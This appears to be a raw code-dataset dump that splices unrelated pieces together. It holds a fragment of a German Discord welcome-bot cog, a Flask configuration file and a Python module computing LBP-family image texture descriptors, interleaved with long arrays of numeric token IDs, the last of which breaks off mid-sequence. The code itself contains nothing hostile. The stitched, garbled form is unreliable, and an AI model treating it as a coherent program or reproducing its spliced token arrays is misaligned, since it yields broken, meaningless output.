embed.set_thumbnail(url=self.client.user.avatar_url) embed.set_image(url=user.avatar_url) channel = discord.utils.get(user.guild.text_channels, name=str( Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "SpecifiedChannels", "Welcome").lower())) m = await channel.send(embed=embed) role = discord.utils.get(user.guild.roles, name=str(Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "Universals", "Roles", "Standart"))) await user.add_roles(role) await asyncio.sleep(300) try: await m.delete() except: pass @commands.Cog.listener() async def on_guild_join(self, guild: discord.Guild): embed = discord.Embed( title="Hallo!", colour=discord.Colour(Utils.Farbe.Welcomer_Blue), description=f"Hallo {guild.default_role.mention}! Ich bin **{self.client.user.name}**.\nIch bin der Discord Bot von [DrageastLP](https://github.com/Drageast).\n" f"Ich wurde extra für diesen Server geschrieben und freue ich schon, euch zu assistieren." ) embed.set_image(url=self.client.user.avatar_url) await guild.text_channels[0].send(embed=embed) # Cog Finishing def setup(client): client.add_cog(EventHandler(client))
[ 1, 396, 16032, 13, 3166, 2313, 536, 29889, 1062, 1053, 8260, 13, 5215, 2313, 536, 13, 5215, 408, 948, 3934, 13, 13, 29937, 22310, 29879, 13, 5215, 22310, 29879, 13, 13, 13, 29937, 315, 468, 17250, 5921, 13, 13, 13, 1990, 6864, 4598, 29898, 26381, 29889, 29907, 468, 1125, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3132, 1125, 13, 4706, 1583, 29889, 4645, 353, 3132, 13, 13, 1678, 732, 26381, 29889, 29907, 468, 29889, 25894, 580, 13, 1678, 7465, 822, 373, 29918, 14242, 29918, 5992, 29898, 1311, 29892, 1404, 29901, 2313, 536, 29889, 13404, 1125, 13, 4706, 1018, 29901, 13, 9651, 7272, 22310, 29879, 29889, 4051, 6572, 16122, 292, 29889, 2287, 29931, 29918, 29965, 617, 792, 29898, 1311, 29892, 1404, 29897, 13, 4706, 5174, 29901, 13, 9651, 1209, 13, 13, 13, 1678, 732, 26381, 29889, 29907, 468, 29889, 25894, 580, 13, 1678, 7465, 822, 373, 29918, 14917, 29918, 3859, 29918, 5504, 29898, 1311, 29892, 4509, 29892, 1434, 29892, 1156, 1125, 13, 4706, 565, 1156, 29889, 12719, 338, 6213, 29901, 13, 9651, 736, 13, 13, 4706, 25342, 1156, 29889, 12719, 29889, 333, 1275, 22310, 29879, 29889, 29979, 8807, 7895, 27107, 29889, 7194, 29918, 25162, 25098, 703, 10444, 370, 2435, 613, 376, 10299, 2164, 1451, 12629, 613, 376, 14039, 13599, 24898, 12107, 1159, 322, 451, 4509, 29889, 7451, 29901, 13, 13, 9651, 8242, 353, 7272, 1583, 29889, 4645, 29889, 9155, 29918, 12719, 29898, 12177, 29889, 29979, 8807, 7895, 27107, 29889, 7194, 29918, 25162, 25098, 703, 10444, 370, 2435, 613, 376, 10299, 2164, 1451, 12629, 613, 376, 12754, 1451, 271, 5783, 13, 13, 9651, 6297, 29896, 353, 2313, 536, 29889, 13239, 29889, 657, 29898, 14242, 29889, 2543, 789, 29889, 307, 793, 29892, 1024, 29922, 710, 29898, 12177, 29889, 29979, 8807, 7895, 27107, 29889, 7194, 29918, 25162, 25098, 703, 10444, 370, 2435, 613, 376, 11574, 1338, 613, 376, 29934, 6544, 613, 376, 6004, 19409, 613, 376, 28213, 29908, 4961, 13, 9651, 6297, 29906, 353, 2313, 536, 29889, 13239, 29889, 657, 29898, 14242, 29889, 2543, 789, 29889, 307, 793, 29892, 1024, 29922, 710, 29898, 12177, 29889, 29979, 8807, 7895, 27107, 29889, 7194, 29918, 25162, 25098, 703, 10444, 370, 2435, 613, 376, 11574, 1338, 613, 376, 29934, 6544, 613, 376, 6004, 19409, 613, 376, 12754, 2132, 1061, 29908, 4961, 13, 9651, 6297, 29941, 353, 2313, 536, 29889, 13239, 29889, 657, 29898, 14242, 29889, 2543, 789, 29889, 307, 793, 29892, 1024, 29922, 710, 29898, 12177, 29889, 29979, 8807, 7895, 27107, 29889, 7194, 29918, 25162, 25098, 703, 10444, 370, 2435, 613, 376, 11574, 1338, 613, 376, 29934, 6544, 613, 376, 6004, 19409, 613, 376, 21956, 261, 29908, 4961, 13, 13, 9651, 8297, 353, 2313, 536, 29889, 6026, 2580, 29898, 13, 18884, 3611, 543, 14039, 530, 29888, 6617, 29901, 613, 13, 18884, 12384, 29922, 2218, 16090, 29889, 1625, 473, 29898, 12177, 29889, 29943, 23536, 29889, 29949, 3881, 511, 13, 18884, 6139, 29922, 29888, 29908, 1068, 29912, 12154, 29896, 29889, 358, 291, 6822, 29912, 12154, 29906, 29889, 358, 291, 6822, 29912, 12154, 29941, 29889, 358, 291, 29913, 1068, 29905, 29876, 15383, 4911, 29901, 23230, 14242, 29889, 978, 10114, 281, 442, 300, 297, 1261, 1706, 10221, 29895, 7054, 29901, 23230, 7045, 29889, 12719, 29889, 978, 10114, 1213, 13, 9651, 1723, 13, 9651, 8297, 29889, 842, 29918, 386, 21145, 29898, 2271, 29922, 14242, 29889, 485, 14873, 29918, 2271, 29897, 13, 13, 9651, 286, 353, 7272, 8242, 29889, 6717, 29898, 17987, 29922, 17987, 29897, 13, 9651, 7272, 408, 948, 3934, 29889, 17059, 29898, 29896, 29906, 29900, 29897, 13, 9651, 7272, 286, 29889, 8143, 580, 13, 13, 4706, 1683, 29901, 13, 9651, 1209, 13, 13, 13, 1678, 732, 26381, 29889, 29907, 468, 29889, 25894, 580, 13, 1678, 7465, 822, 373, 29918, 14242, 29918, 7122, 29898, 1311, 29892, 1404, 29901, 2313, 536, 29889, 13404, 1125, 13, 13, 4706, 8297, 353, 2313, 536, 29889, 6026, 2580, 29898, 13, 9651, 3611, 29922, 29888, 29908, 29950, 26177, 426, 1792, 29889, 978, 29913, 29991, 613, 13, 9651, 12384, 29922, 2218, 16090, 29889, 1625, 473, 29898, 12177, 29889, 29943, 23536, 29889, 28862, 2763, 29918, 21319, 511, 13, 9651, 6139, 29922, 29888, 29908, 29950, 26177, 426, 1792, 29889, 358, 291, 29913, 674, 21667, 1622, 1261, 8565, 536, 5656, 3583, 29876, 1068, 29912, 1792, 29889, 2543, 789, 29889, 978, 29913, 1068, 1738, 29905, 29876, 29965, 29885, 25789, 1729, 1316, 264, 29892, 1737, 354, 297, 972, 12555, 3636, 631, 2162, 476, 7054, 2053, 29876, 29908, 13, 462, 4706, 285, 29908, 16217, 530, 479, 29886, 2559, 371, 3975, 10220, 704, 264, 527, 678, 271, 604, 16907, 29873, 29892, 4031, 831, 2090, 7066, 3722, 7790, 29876, 1068, 29963, 709, 1706, 29874, 30034, 29991, 1068, 29908, 13, 4706, 1723, 13, 4706, 8297, 29889, 842, 29918, 386, 21145, 29898, 2271, 29922, 1311, 29889, 4645, 29889, 1792, 29889, 485, 14873, 29918, 2271, 29897, 13, 4706, 8297, 29889, 842, 29918, 3027, 29898, 2271, 29922, 1792, 29889, 485, 14873, 29918, 2271, 29897, 13, 13, 4706, 8242, 353, 2313, 536, 29889, 13239, 29889, 657, 29898, 1792, 29889, 2543, 789, 29889, 726, 29918, 305, 12629, 29892, 1024, 29922, 710, 29898, 13, 9651, 22310, 29879, 29889, 29979, 8807, 7895, 27107, 29889, 7194, 29918, 25162, 25098, 703, 10444, 370, 2435, 613, 376, 10299, 2164, 1451, 12629, 613, 376, 28862, 2763, 2564, 13609, 22130, 13, 13, 4706, 286, 353, 7272, 8242, 29889, 6717, 29898, 17987, 29922, 17987, 29897, 13, 13, 4706, 6297, 353, 2313, 536, 29889, 13239, 29889, 657, 29898, 1792, 29889, 2543, 789, 29889, 307, 793, 29892, 1024, 29922, 710, 29898, 12177, 29889, 29979, 8807, 7895, 27107, 29889, 7194, 29918, 25162, 25098, 703, 10444, 370, 2435, 613, 376, 11574, 1338, 613, 376, 29934, 6544, 613, 376, 11042, 442, 29908, 4961, 13, 4706, 7272, 1404, 29889, 1202, 29918, 307, 793, 29898, 12154, 29897, 13, 13, 4706, 7272, 408, 948, 3934, 29889, 17059, 29898, 29941, 29900, 29900, 29897, 13, 4706, 1018, 29901, 13, 9651, 7272, 286, 29889, 8143, 580, 13, 4706, 5174, 29901, 13, 9651, 1209, 13, 13, 13, 1678, 732, 26381, 29889, 29907, 468, 29889, 25894, 580, 13, 1678, 7465, 822, 373, 29918, 2543, 789, 29918, 7122, 29898, 1311, 29892, 1410, 789, 29901, 2313, 536, 29889, 9485, 789, 1125, 13, 13, 4706, 8297, 353, 2313, 536, 29889, 6026, 2580, 29898, 13, 9651, 3611, 543, 29950, 26177, 29991, 613, 13, 9651, 12384, 29922, 2218, 16090, 29889, 1625, 473, 29898, 12177, 29889, 29943, 23536, 29889, 28862, 510, 261, 29918, 21319, 511, 13, 9651, 6139, 29922, 29888, 29908, 29950, 26177, 426, 2543, 789, 29889, 4381, 29918, 12154, 29889, 358, 291, 29913, 29991, 15158, 9016, 3579, 29912, 1311, 29889, 4645, 29889, 1792, 29889, 978, 29913, 1068, 7790, 29876, 29902, 305, 9016, 589, 8565, 536, 11273, 1005, 518, 29928, 6617, 579, 13208, 850, 991, 597, 3292, 29889, 510, 29914, 29928, 6617, 579, 467, 29905, 29876, 29908, 13, 462, 4706, 285, 29908, 29902, 305, 1931, 4805, 1865, 12155, 5656, 8486, 16609, 563, 3005, 434, 7975, 15002, 29892, 321, 987, 1729, 6985, 7884, 1213, 13, 4706, 1723, 13, 4706, 8297, 29889, 842, 29918, 3027, 29898, 2271, 29922, 1311, 29889, 4645, 29889, 1792, 29889, 485, 14873, 29918, 2271, 29897, 13, 13, 4706, 7272, 1410, 789, 29889, 726, 29918, 305, 12629, 29961, 29900, 1822, 6717, 29898, 17987, 29922, 17987, 29897, 13, 13, 13, 29937, 315, 468, 4231, 14424, 13, 13, 13, 1753, 6230, 29898, 4645, 1125, 13, 1678, 3132, 29889, 1202, 29918, 29883, 468, 29898, 2624, 4598, 29898, 4645, 876, 13, 2 ]
config.py
R4MS0T/PYREZ
9
150645
<filename>config.py #!/usr/bin/env python # -*- coding: utf-8 -*- import os from app.utils import ( get_env, to_bool, ) from app.utils.num import ( random_func, ) app_dir = os.path.abspath(os.path.dirname(__file__)) class Config(object): SQLALCHEMY_DATABASE_URI = get_env('DATABASE_URL', default=f'sqlite:///{"app" or __name__}.db')#'sqlite:///:memory:' SQLALCHEMY_TRACK_MODIFICATIONS = False #SQLALCHEMY_COMMIT_ON_TEARDOWN = True _binds = get_env('SQLALCHEMY_BINDS', default=None) if _binds: #https://docs.sqlalchemy.org/en/13/core/exceptions.html #https://flask-sqlalchemy.palletsprojects.com/en/2.x/binds/ #https://flask-migrate.readthedocs.io/en/latest/ SQLALCHEMY_BINDS = {} for _ in _binds.split(','): __ = _.split(':', 1) SQLALCHEMY_BINDS.update({__[0].lower() : __[1] if __[1].rfind('://') != -1 else get_env(__[1])}) print(SQLALCHEMY_BINDS) # SECURITY WARNING: don't run with debug turned on in production! #Default: True if ENV is 'development', or False otherwise. DEBUG = to_bool(get_env('DEBUG', default=os.sys.platform == 'win32' or os.name == 'nt')) # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = get_env('SECRET_KEY', default=random_func(as_string=True, size=65)) DEVELOPMENT = TESTING = False @property def DATABASE_URI(self): return SQLALCHEMY_DATABASE_URI class DevelopementConfig(Config): DEVELOPMENT = True ENV = 'development'#dev class TestingConfig(Config):#StagingConfig TESTING = DEVELOPMENT = DEBUG = True class ProductionConfig(Config): TESTING = DEVELOPMENT = DEBUG = False ENV = 'production'
[ 1, 529, 9507, 29958, 2917, 29889, 2272, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 13, 5215, 2897, 13, 13, 3166, 623, 29889, 13239, 1053, 313, 13, 29871, 679, 29918, 6272, 29892, 13, 29871, 304, 29918, 11227, 29892, 13, 29897, 13, 3166, 623, 29889, 13239, 29889, 1949, 1053, 313, 13, 29871, 4036, 29918, 9891, 29892, 13, 29897, 13, 13, 932, 29918, 3972, 353, 2897, 29889, 2084, 29889, 370, 1028, 493, 29898, 359, 29889, 2084, 29889, 25721, 22168, 1445, 1649, 876, 13, 13, 1990, 12782, 29898, 3318, 1125, 13, 29871, 3758, 1964, 3210, 12665, 29979, 29918, 25832, 27982, 29918, 15551, 353, 679, 29918, 6272, 877, 25832, 27982, 29918, 4219, 742, 2322, 29922, 29888, 29915, 22793, 597, 29914, 6377, 932, 29908, 470, 4770, 978, 1649, 1836, 2585, 1495, 29937, 29915, 22793, 597, 24676, 14834, 11283, 13, 29871, 3758, 1964, 3210, 12665, 29979, 29918, 5659, 11375, 29918, 6720, 4571, 29943, 28541, 29903, 353, 7700, 13, 29871, 396, 4176, 1964, 3210, 12665, 29979, 29918, 3217, 7428, 1806, 29918, 1164, 29918, 4330, 1718, 3970, 16048, 353, 5852, 13, 13, 29871, 903, 5355, 29879, 353, 679, 29918, 6272, 877, 4176, 1964, 3210, 12665, 29979, 29918, 29933, 1177, 8452, 742, 2322, 29922, 8516, 29897, 13, 29871, 565, 903, 5355, 29879, 29901, 13, 1678, 396, 991, 597, 2640, 29889, 2850, 284, 305, 6764, 29889, 990, 29914, 264, 29914, 29896, 29941, 29914, 3221, 29914, 11739, 29879, 29889, 1420, 13, 1678, 396, 991, 597, 1579, 1278, 29899, 2850, 284, 305, 6764, 29889, 7830, 10376, 16418, 29889, 510, 29914, 264, 29914, 29906, 29889, 29916, 29914, 5355, 29879, 29914, 13, 1678, 396, 991, 597, 1579, 1278, 29899, 26983, 403, 29889, 949, 386, 287, 12332, 29889, 601, 29914, 264, 29914, 12333, 29914, 13, 1678, 3758, 1964, 3210, 12665, 29979, 29918, 29933, 1177, 8452, 353, 6571, 13, 1678, 363, 903, 297, 903, 5355, 29879, 29889, 5451, 29898, 3788, 1125, 13, 418, 4770, 353, 903, 29889, 5451, 877, 29901, 742, 29871, 29896, 29897, 13, 418, 3758, 1964, 3210, 12665, 29979, 29918, 29933, 1177, 8452, 29889, 5504, 3319, 1649, 29961, 29900, 1822, 13609, 580, 584, 4770, 29961, 29896, 29962, 565, 4770, 29961, 29896, 1822, 29878, 2886, 877, 597, 1495, 2804, 448, 29896, 1683, 679, 29918, 6272, 22168, 29961, 29896, 2314, 1800, 13, 1678, 1596, 29898, 4176, 1964, 3210, 12665, 29979, 29918, 29933, 1177, 8452, 29897, 13, 29871, 396, 3725, 22484, 11937, 399, 25614, 29901, 1016, 29915, 29873, 1065, 411, 4744, 6077, 373, 297, 5802, 29991, 13, 29871, 396, 4592, 29901, 5852, 565, 12524, 29963, 338, 525, 25431, 742, 470, 7700, 6467, 29889, 13, 29871, 21681, 353, 304, 29918, 11227, 29898, 657, 29918, 6272, 877, 18525, 742, 2322, 29922, 359, 29889, 9675, 29889, 12120, 1275, 525, 5080, 29941, 29906, 29915, 470, 2897, 29889, 978, 1275, 525, 593, 8785, 13, 13, 29871, 396, 3725, 22484, 11937, 399, 25614, 29901, 3013, 278, 7035, 1820, 1304, 297, 5802, 7035, 29991, 13, 29871, 3725, 22245, 29911, 29918, 10818, 353, 679, 29918, 6272, 877, 1660, 22245, 29911, 29918, 10818, 742, 2322, 29922, 8172, 29918, 9891, 29898, 294, 29918, 1807, 29922, 5574, 29892, 2159, 29922, 29953, 29945, 876, 13, 13, 29871, 5012, 12064, 3927, 13427, 3919, 353, 17067, 1254, 4214, 353, 7700, 13, 13, 29871, 732, 6799, 13, 29871, 822, 27640, 27982, 29918, 15551, 29898, 1311, 1125, 13, 1678, 736, 3758, 1964, 3210, 12665, 29979, 29918, 25832, 27982, 29918, 15551, 13, 1990, 10682, 882, 3991, 29898, 3991, 1125, 13, 29871, 5012, 12064, 3927, 13427, 3919, 353, 5852, 13, 29871, 12524, 29963, 353, 525, 25431, 29915, 29937, 3359, 13, 13, 1990, 4321, 292, 3991, 29898, 3991, 1125, 29937, 855, 6751, 3991, 13, 29871, 17067, 1254, 4214, 353, 5012, 12064, 3927, 13427, 3919, 353, 21681, 353, 5852, 13, 13, 1990, 19561, 3991, 29898, 3991, 1125, 13, 29871, 17067, 1254, 4214, 353, 5012, 12064, 3927, 13427, 3919, 353, 21681, 353, 7700, 13, 29871, 12524, 29963, 353, 525, 24601, 29915, 13, 2 ]
artigoRITA/techniques.py
Hadamanthis/Mestrado
1
88286
<gh_stars>1-10 import cv2 import numpy as np from convolution import conv2D def s(x, T): if (x > T): return 1 else: return 0 ''' Uma função que aplica LBP 3x3 ''' def LBP(img): # Kernel de pesos padrão 3x3 kernel = np.array([[1, 2, 4], [8, 0, 16], [32, 64, 128]]) outputs = [] # Percorrendo a imagem for i in list(range(1, img.shape[0]-1)): for j in list(range(1, img.shape[1]-1)): subimg = [] for g in list(range(-1, 2)): # Copiando a linha row = [] for k in list(range(-1, 2)): if ((g == 0) and (k == 0)): row.append(0) continue thresh = int(img[i+g][j+k]) - int(img[i][j]) if (thresh >= 0): row.append(1) else: row.append(0) # Adicionando a linha subimg.append(np.array(row)) subimg = np.array(subimg) outputs.append(conv2D(subimg, kernel)) #print(subimg) #print(outputs) return np.array(outputs) ''' Uma função que aplica o CS-LBP com threshold T ''' def CS_LBP(img, T = None): outputs = [] if (T == None): T = 2.56 # Percorrendo a imagem for i in list(range(1, img.shape[0]-1)): for j in list(range(1, img.shape[1]-1)): out1 = img[i][j+1] - img[i][j-1] out2 = img[i+1][j+1] - img[i-1][j-1] out3 = img[i+1][j] - img[i-1][j] out4 = img[i+1][j-1] - img[i-1][j+1] output = s(out1, T)*pow(2,0) + s(out2, T)*pow(2, 1) + s(out3, T)*pow(2, 2) + s(out4, T)*pow(2,3) outputs.append(output) return np.array(outputs) def LQP(img, T1, T2): # Kernel de pesos padrão 3x3 kernel = np.array([[1, 2, 4], [8, 0, 16], [32, 64, 128]]) outputs1 = [] outputs2 = [] outputs3 = [] outputs4 = [] # Percorrendo a imagem for i in list(range(1, img.shape[0]-1)): for j in list(range(1, img.shape[1]-1)): subimg1 = [] subimg2 = [] subimg3 = [] subimg4 = [] for g in list(range(-1, 2)): # Copiando a linha row1, row2, row3, row4 = [], [], [], [] # Linhas respectivas de cada uma das subimagens for k in list(range(-1, 2)): # Se for o centro, coloca 0 e passa if ((g == 0) and (k == 0)): row1.append(0) row2.append(0) row3.append(0) row4.append(0) continue diff = img[i+g][j+k] - img[i][j] if (diff >= T2): row1.append(1) row2.append(0) row3.append(0) row4.append(0) elif (diff < T2 and diff >= T1): row1.append(0) row2.append(1) row3.append(0) row4.append(0) elif (diff < T1 and diff >= -1*T1): row1.append(0) row2.append(0) row3.append(1) row4.append(0) else: row1.append(0) row2.append(0) row3.append(0) row4.append(1) # Adicionando a linha subimg1.append(np.array(row1)) subimg2.append(np.array(row2)) subimg3.append(np.array(row3)) subimg4.append(np.array(row4)) subimg1 = np.array(subimg1) subimg2 = np.array(subimg2) subimg3 = np.array(subimg3) subimg4 = np.array(subimg4) outputs1.append(conv2D(subimg1, kernel)) outputs2.append(conv2D(subimg2, kernel)) outputs3.append(conv2D(subimg3, kernel)) outputs4.append(conv2D(subimg4, kernel)) return np.array(outputs1), np.array(outputs2), np.array(outputs3), np.array(outputs4) def CLBP(img): # Kernel de pesos padrão 3x3 kernel = np.array([[1, 2, 4], [8, 0, 16], [32, 64, 128]]) outputs1 = [] outputs2 = [] # Percorrendo a imagem for i in list(range(1, img.shape[0]-1)): for j in list(range(1, img.shape[1]-1)): mavg = 0 # Calculando a média das magnitudes da diferença entre o pixel central e os vizinhos for g in list(range(-1, 2)): for k in list(range(-1, 2)): if ((g == 0) and (k == 0)): continue mavg += abs(img[i][j] - img[i+g][j+k]) mavg /= 8 north = img[i-1][j] - img[i][j] northeast = img[i-1][j+1] - img[i][j] east = img[i][j+1] - img[i][j] southeast = img[i+1][j+1] - img[i][j] south = img[i+1][j] - img[i][j] southwest = img[i+1][j-1] - img[i][j] west = img[i][j-1] - img[i][j] northwest = img[i-1][j-1] - img[i][j] sum1 = 0 sum2 = 0 if (north >= 0): sum1 += 1 if (abs(north) > mavg): sum1 += 2 if (east >= 0): sum1 += 4 if (abs(east) > mavg): sum1 += 8 if (south >= 0): sum1 += 16 if (abs(south) > mavg): sum1 += 32 if (west >= 0): sum1 += 64 if (abs(west) > mavg): sum1 += 128 if (northeast >= 0): sum2 += 1 if (abs(northeast) > mavg): sum2 += 2 if (southeast >= 0): sum2 += 4 if (abs(southeast) > mavg): sum2 += 8 if (southwest >= 0): sum2 += 16 if (abs(southwest) > mavg): sum2 += 32 if (northwest >= 0): sum2 += 64 if (abs(northwest) > mavg): sum2 += 128 outputs1.append(sum1) outputs2.append(sum2) return np.array(outputs1), np.array(outputs2) if __name__ == '__main__': img = np.array([[5, 4, 3, 2, 3], [6, 7, 8, 2, 1], [3, 5, 10, 8, 2], [6, 6, 8, 9, 3], [7, 2, 4, 7, 11]]) print(img) outputs1, outputs2 = CLBP(img) print(outputs1) print(outputs2)
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 5215, 13850, 29906, 13, 5215, 12655, 408, 7442, 13, 3166, 26851, 1053, 7602, 29906, 29928, 13, 13, 1753, 269, 29898, 29916, 29892, 323, 1125, 13, 12, 361, 313, 29916, 1405, 323, 1125, 13, 12, 12, 2457, 29871, 29896, 13, 12, 2870, 29901, 13, 12, 12, 2457, 29871, 29900, 13, 13, 12008, 501, 655, 2090, 2340, 712, 3095, 10123, 365, 29933, 29925, 29871, 29941, 29916, 29941, 14550, 13, 1753, 365, 29933, 29925, 29898, 2492, 1125, 13, 12, 29937, 476, 5851, 316, 8928, 359, 282, 7887, 1368, 29871, 29941, 29916, 29941, 13, 12, 17460, 353, 7442, 29889, 2378, 4197, 29961, 29896, 29892, 29871, 29906, 29892, 29871, 29946, 1402, 518, 29947, 29892, 29871, 29900, 29892, 29871, 29896, 29953, 1402, 518, 29941, 29906, 29892, 29871, 29953, 29946, 29892, 29871, 29896, 29906, 29947, 24960, 13, 12, 13, 12, 4905, 29879, 353, 5159, 13, 12, 13, 12, 29937, 2431, 29725, 2765, 263, 6382, 331, 13, 12, 1454, 474, 297, 1051, 29898, 3881, 29898, 29896, 29892, 10153, 29889, 12181, 29961, 29900, 29962, 29899, 29896, 22164, 13, 12, 12, 1454, 432, 297, 1051, 29898, 3881, 29898, 29896, 29892, 10153, 29889, 12181, 29961, 29896, 29962, 29899, 29896, 22164, 13, 12, 12, 12, 13, 12, 12, 12, 1491, 2492, 353, 5159, 13, 12, 12, 12, 13, 12, 12, 12, 1454, 330, 297, 1051, 29898, 3881, 6278, 29896, 29892, 29871, 29906, 22164, 13, 12, 12, 12, 12, 29937, 10061, 29875, 1743, 263, 6276, 2350, 13, 12, 12, 12, 12, 798, 353, 5159, 13, 12, 12, 12, 12, 1454, 413, 297, 1051, 29898, 3881, 6278, 29896, 29892, 29871, 29906, 22164, 13, 12, 12, 12, 12, 12, 13, 12, 12, 12, 12, 12, 361, 5135, 29887, 1275, 29871, 29900, 29897, 322, 313, 29895, 1275, 29871, 29900, 22164, 13, 12, 12, 12, 12, 12, 12, 798, 29889, 4397, 29898, 29900, 29897, 13, 12, 12, 12, 12, 12, 12, 19878, 13, 12, 12, 12, 12, 13, 12, 12, 12, 12, 12, 386, 3781, 353, 938, 29898, 2492, 29961, 29875, 29974, 29887, 3816, 29926, 29974, 29895, 2314, 448, 938, 29898, 2492, 29961, 29875, 3816, 29926, 2314, 13, 12, 12, 12, 12, 12, 361, 313, 386, 3781, 6736, 29871, 29900, 1125, 13, 12, 12, 12, 12, 12, 12, 798, 29889, 4397, 29898, 29896, 29897, 13, 12, 12, 12, 12, 12, 2870, 29901, 13, 12, 12, 12, 12, 12, 12, 798, 29889, 4397, 29898, 29900, 29897, 13, 12, 12, 12, 12, 13, 12, 12, 12, 12, 29937, 2087, 15353, 1743, 263, 6276, 2350, 13, 12, 12, 12, 12, 1491, 2492, 29889, 4397, 29898, 9302, 29889, 2378, 29898, 798, 876, 13, 12, 12, 12, 12, 13, 12, 12, 12, 1491, 2492, 353, 7442, 29889, 2378, 29898, 1491, 2492, 29897, 13, 12, 12, 12, 4905, 29879, 29889, 4397, 29898, 20580, 29906, 29928, 29898, 1491, 2492, 29892, 8466, 876, 13, 12, 12, 12, 29937, 2158, 29898, 1491, 2492, 29897, 13, 12, 12, 12, 13, 12, 29937, 2158, 29898, 4905, 29879, 29897, 13, 12, 2457, 7442, 29889, 2378, 29898, 4905, 29879, 29897, 13, 13, 12008, 501, 655, 2090, 2340, 712, 3095, 10123, 288, 21107, 29899, 29931, 29933, 29925, 419, 16897, 323, 14550, 13, 1753, 21107, 29918, 29931, 29933, 29925, 29898, 2492, 29892, 323, 353, 6213, 1125, 13, 12, 13, 12, 4905, 29879, 353, 5159, 13, 12, 13, 12, 361, 313, 29911, 1275, 6213, 1125, 13, 12, 12, 29911, 353, 29871, 29906, 29889, 29945, 29953, 13, 12, 13, 12, 29937, 2431, 29725, 2765, 263, 6382, 331, 13, 12, 1454, 474, 297, 1051, 29898, 3881, 29898, 29896, 29892, 10153, 29889, 12181, 29961, 29900, 29962, 29899, 29896, 22164, 13, 12, 12, 1454, 432, 297, 1051, 29898, 3881, 29898, 29896, 29892, 10153, 29889, 12181, 29961, 29896, 29962, 29899, 29896, 22164, 13, 12, 12, 13, 12, 12, 12, 449, 29896, 353, 10153, 29961, 29875, 3816, 29926, 29974, 29896, 29962, 448, 10153, 29961, 29875, 3816, 29926, 29899, 29896, 29962, 13, 12, 12, 12, 449, 29906, 353, 10153, 29961, 29875, 29974, 29896, 3816, 29926, 29974, 29896, 29962, 448, 10153, 29961, 29875, 29899, 29896, 3816, 29926, 29899, 29896, 29962, 13, 12, 12, 12, 449, 29941, 353, 10153, 29961, 29875, 29974, 29896, 3816, 29926, 29962, 448, 10153, 29961, 29875, 29899, 29896, 3816, 29926, 29962, 13, 12, 12, 12, 449, 29946, 353, 10153, 29961, 29875, 29974, 29896, 3816, 29926, 29899, 29896, 29962, 448, 10153, 29961, 29875, 29899, 29896, 3816, 29926, 29974, 29896, 29962, 13, 12, 12, 13, 12, 12, 12, 4905, 353, 269, 29898, 449, 29896, 29892, 323, 11877, 12248, 29898, 29906, 29892, 29900, 29897, 718, 269, 29898, 449, 29906, 29892, 323, 11877, 12248, 29898, 29906, 29892, 29871, 29896, 29897, 718, 269, 29898, 449, 29941, 29892, 323, 11877, 12248, 29898, 29906, 29892, 29871, 29906, 29897, 718, 269, 29898, 449, 29946, 29892, 323, 11877, 12248, 29898, 29906, 29892, 29941, 29897, 13, 12, 12, 12, 4905, 29879, 29889, 4397, 29898, 4905, 29897, 13, 12, 12, 13, 12, 2457, 7442, 29889, 2378, 29898, 4905, 29879, 29897, 13, 12, 13, 1753, 365, 29984, 29925, 29898, 2492, 29892, 323, 29896, 29892, 323, 29906, 1125, 13, 12, 29937, 476, 5851, 316, 8928, 359, 282, 7887, 1368, 29871, 29941, 29916, 29941, 13, 12, 17460, 353, 7442, 29889, 2378, 4197, 29961, 29896, 29892, 29871, 29906, 29892, 29871, 29946, 1402, 518, 29947, 29892, 29871, 29900, 29892, 29871, 29896, 29953, 1402, 518, 29941, 29906, 29892, 29871, 29953, 29946, 29892, 29871, 29896, 29906, 29947, 24960, 13, 12, 13, 12, 4905, 29879, 29896, 353, 5159, 13, 12, 4905, 29879, 29906, 353, 5159, 13, 12, 4905, 29879, 29941, 353, 5159, 13, 12, 4905, 29879, 29946, 353, 5159, 12, 13, 12, 13, 12, 29937, 2431, 29725, 2765, 263, 6382, 331, 13, 12, 1454, 474, 297, 1051, 29898, 3881, 29898, 29896, 29892, 10153, 29889, 12181, 29961, 29900, 29962, 29899, 29896, 22164, 13, 12, 12, 1454, 432, 297, 1051, 29898, 3881, 29898, 29896, 29892, 10153, 29889, 12181, 29961, 29896, 29962, 29899, 29896, 22164, 13, 12, 12, 12, 1491, 2492, 29896, 353, 5159, 13, 12, 12, 12, 1491, 2492, 29906, 353, 5159, 13, 12, 12, 12, 1491, 2492, 29941, 353, 5159, 13, 12, 12, 12, 1491, 2492, 29946, 353, 5159, 13, 12, 12, 12, 13, 12, 12, 12, 1454, 330, 297, 1051, 29898, 3881, 6278, 29896, 29892, 29871, 29906, 22164, 13, 12, 12, 12, 12, 29937, 10061, 29875, 1743, 263, 6276, 2350, 13, 12, 12, 12, 12, 798, 29896, 29892, 1948, 29906, 29892, 1948, 29941, 29892, 1948, 29946, 353, 19997, 19997, 19997, 5159, 396, 4342, 5349, 3390, 19701, 316, 9747, 3672, 1697, 1014, 326, 25935, 13, 12, 12, 12, 12, 13, 12, 12, 12, 12, 1454, 413, 297, 1051, 29898, 3881, 6278, 29896, 29892, 29871, 29906, 22164, 13, 12, 12, 12, 12, 12, 13, 12, 12, 12, 12, 12, 29937, 922, 363, 288, 13632, 29892, 784, 6400, 29871, 29900, 321, 1209, 29874, 13, 12, 12, 12, 12, 12, 361, 5135, 29887, 1275, 29871, 29900, 29897, 322, 313, 29895, 1275, 29871, 29900, 22164, 13, 12, 12, 12, 12, 12, 12, 798, 29896, 29889, 4397, 29898, 29900, 29897, 13, 12, 12, 12, 12, 12, 12, 798, 29906, 29889, 4397, 29898, 29900, 29897, 13, 12, 12, 12, 12, 12, 12, 798, 29941, 29889, 4397, 29898, 29900, 29897, 13, 12, 12, 12, 12, 12, 12, 798, 29946, 29889, 4397, 29898, 29900, 29897, 13, 12, 12, 12, 12, 12, 12, 19878, 13, 12, 12, 12, 12, 13, 12, 12, 12, 12, 12, 12765, 353, 10153, 29961, 29875, 29974, 29887, 3816, 29926, 29974, 29895, 29962, 448, 10153, 29961, 29875, 3816, 29926, 29962, 13, 12, 12, 12, 12, 12, 361, 313, 12765, 6736, 